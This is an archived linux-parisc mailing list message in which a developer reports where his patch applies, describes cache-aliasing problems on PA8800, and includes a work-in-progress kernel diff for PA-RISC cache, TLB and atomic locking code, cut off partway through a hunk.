	id 1CB995057; Sun, 23 May 2010 10:43:14 -0400 (EDT)
In-Reply-To: <AANLkTimpMvS2ysPxInUZuLNtA-8r5W_3aYhXnv6pZAVd@mail.gmail.com> from "Carlos O'Donell" at May 23, 2010 09:11:45 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2875>

> Applying your patch to 2.6.33, I had 2 hunk rejects.

Where were the rejects?  I don't think anything that I have changed
has changed since 2.6.33 was released.

> I fixed up the rejects, but I was curious, what is your patch based on?

git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-2.6.33.y.git

Included below is my current diff.  I have reworked pacache.S and cache.c
to make it easier to test various alternatives.  I added 64-bit support
to copy_user_page_asm and an implementation of clear_page_asm.  Routine
names have been revamped to distinguish implementations using the tmp
alias region.

I haven't tested all permutations, but I don't have a stable fix.

I think we need to do something similar to mips.  See their implementation
of kmap_coherent, kunmap_coherent, copy_user_highpage, copy_to_user_page,
copy_from_user_page.  Currently, our implementations of copy_user_page,
copy_to_user_page and copy_from_user_page all use non equivalent aliasing.
<http://readlist.com/lists/vger.kernel.org/linux-kernel/54/271417.html>
discusses why this is a ispecial problem on PA8800.

I like the mips approach in that the pte is setup in kmap_coherent.
This avoids doing anything special in tlb handler.  However, the
downside may be that our tmp alias region is quite large, and we
may need multiple regions for each cpu.

Possibly, the simplest thing to try is to implement copy_to_user_page
and copy_from_user_page using the tmp alias region.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..ad7df44 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_unlock_irqrestore(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..b90c895 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -104,21 +105,32 @@ void mark_rodata_ro(void);
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
+void *kmap_parisc(struct page *page);
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	return page_address(page);
+	return kmap_parisc(page);
 }
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return kmap_parisc(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_atomic(virt_to_page(ptr), (enum km_type) 0))
+#define kmap_flush_unused()	do {} while(0)
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..cca0f53 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,18 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)      copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
-void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
+extern void copy_page_asm(void *to, void *from);
+extern void clear_page_asm(void *page);
+extern void copy_user_page_asm(void *to, void *from, unsigned long vaddr);
+extern void clear_user_page_asm(void *page, unsigned long vaddr);
+extern void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+extern void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..8050948 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+#include <linux/uaccess.h>
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -30,15 +31,21 @@
  */
 #define kern_addr_valid(addr)	(1)
 
+extern spinlock_t pa_pte_lock;
+extern spinlock_t pa_tlb_lock;
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
  */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
+#define set_pte(pteptr, pteval)					\
+        do {							\
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_pte_lock, flags);		\
                 *(pteptr) = (pteval);                           \
+		spin_unlock_irqrestore(&pa_pte_lock, flags);	\
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)	set_pte(ptep, pteval)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -262,6 +269,7 @@ extern unsigned long *empty_zero_page;
 #define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
@@ -410,6 +418,7 @@ extern void paging_init (void);
 
 #define PG_dcache_dirty         PG_arch_1
 
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
 /* Encode and de-code a swap entry */
@@ -423,56 +432,83 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+static inline void __flush_tlb_page(struct mm_struct *mm, unsigned long addr)
 {
-#ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
-#endif
+	unsigned long flags;
+
+	/* For one page, it's not worth testing the split_tlb variable.  */
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+	mtsp(mm->context,1);
+	pdtlb(addr);
+	pitlb(addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_set_access_flags(struct vm_area_struct *vma, unsigned
+ long addr, pte_t *ptep, pte_t entry, int dirty)
+{
+	int changed;
+	unsigned long flags;
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	changed = !pte_same(*ptep, entry);
+	if (changed) {
+		*ptep = entry;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	if (changed) {
+		__flush_tlb_page(vma->vm_mm, addr);
+	}
+	return changed;
+}
+
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+	unsigned long flags;
+	int r;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	pte = *ptep;
+	if (pte_young(pte)) {
+		*ptep = pte_mkold(pte);
+		r = 1;
+	} else {
+		r = 0;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+
+	return r;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-	pte_t old_pte;
-	pte_t pte;
+	pte_t pte, old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_pte_lock, flags);
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	*ptep = pte;
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	pte_t old_pte;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	old_pte = *ptep;
+	*ptep = pte_wrprotect(old_pte);
+	__flush_tlb_page(mm, addr);
+	flush_cache_page(vma, addr, pte_pfn(old_pte));
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 }
 
-#define pte_same(A,B)	(pte_val(A) == pte_val(B))
-
 #endif /* !__ASSEMBLY__ */
 
 
@@ -504,6 +540,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define HAVE_ARCH_UNMAPPED_AREA
 
+#define __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
 #define __HAVE_ARCH_PTEP_SET_WRPROTECT
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..7952ae4 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -336,9 +336,9 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 	}
 }
 
-void flush_dcache_page(struct page *page)
+static void flush_user_dcache_page_internal(struct address_space *mapping,
+					    struct page *page)
 {
-	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
@@ -346,14 +346,6 @@ void flush_dcache_page(struct page *page)
 	pgoff_t pgoff;
 	unsigned long pfn = page_to_pfn(page);
 
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -387,6 +379,19 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page_internal(mapping, page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -395,17 +400,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -440,17 +434,26 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
+#if 1
+	/* Clear user page using alias region.  */
+#if 0
 	unsigned long flags;
 
 	purge_kernel_dcache_page((unsigned long)page);
 	purge_tlb_start(flags);
 	pdtlb_kernel(page);
 	purge_tlb_end(flags);
+#endif
+
 	clear_user_page_asm(page, vaddr);
+#else
+	/* Clear user page using kernel mapping.  */
+	clear_page_asm(page);
+	flush_kernel_dcache_page_asm(page);
+#endif
 }
 EXPORT_SYMBOL(clear_user_page);
 
@@ -469,22 +472,15 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 		    struct page *pg)
 {
 	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
+#if 0
+	copy_user_page_asm(vto, vfrom, vaddr);
+#else
+	copy_page_asm(vto, vfrom);
+	flush_kernel_dcache_page_asm(vto);
+#endif
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -577,3 +573,25 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void *kmap_parisc(struct page *page)
+{
+	/* this is a killer.  There's no easy way to test quickly if
+	 * this page is dirty in any userspace.  Additionally, for
+	 * kernel alterations of the page, we'd need it invalidated
+	 * here anyway, so currently flush (and invalidate)
+	 * universally */
+	flush_user_dcache_page_internal(page_mapping(page), page);
+	return page_address(page);
+}
+EXPORT_SYMBOL(kmap_parisc);
+
+void kunmap_parisc(void *addr)
+{
+	/* flush and invalidate the kernel mapping.  We need the
+	 * invalidate so we don't have stale data at this cache
+	 * location the next time the page is mapped */
+	flush_kernel_dcache_page_addr(addr);
+}
+EXPORT_SYMBOL(kunmap_parisc);
+
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..42dbf32 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
+	.import         pa_pte_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -488,13 +462,46 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* SMP lock for consistent PTE updates.  Unlocks and jumps
+	   to FAULT if the page is not present.  Note the preceeding
+	   load of the PTE can't be deleted since we can't fault holding
+	   the lock.  */ 
+	.macro		pte_lock	ptep,pte,spc,tmp,tmp1,fault
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_pte_lock),\tmp1
+1:
+	LDCW		0(\tmp1),\tmp
+	cmpib,COND(=)         0,\tmp,1b
+	nop
+	LDREG		%r0(\ptep),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+	b,n		\fault
+2:
+#endif
+	.endm
+
+	.macro		pte_unlock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,1f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+1:
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
-	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	.macro		update_ptep	ptep,pte,spc,tmp,tmp1,fault
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,3f
+	pte_lock	\ptep,\pte,\spc,\tmp,\tmp1,\fault
+	ldi		_PAGE_ACCESSED,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+	pte_unlock	\spc,\tmp,\tmp1
+3:
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
@@ -605,7 +612,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -622,6 +629,39 @@
 	or		%r26,%r0,\pte
 	.endm 
 
+	/* Save PTE for recheck if SMP.  */
+	.macro		save_pte	pte,tmp
+#ifdef CONFIG_SMP
+	copy		\pte,\tmp
+#endif
+	.endm
+
+	/* Reload the PTE and purge the data TLB entry if the new
+	   value is different from the old one.  */
+	.macro		dtlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pdtlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
+	.macro		itlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pitlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
 
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
@@ -758,6 +798,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +809,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +1016,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
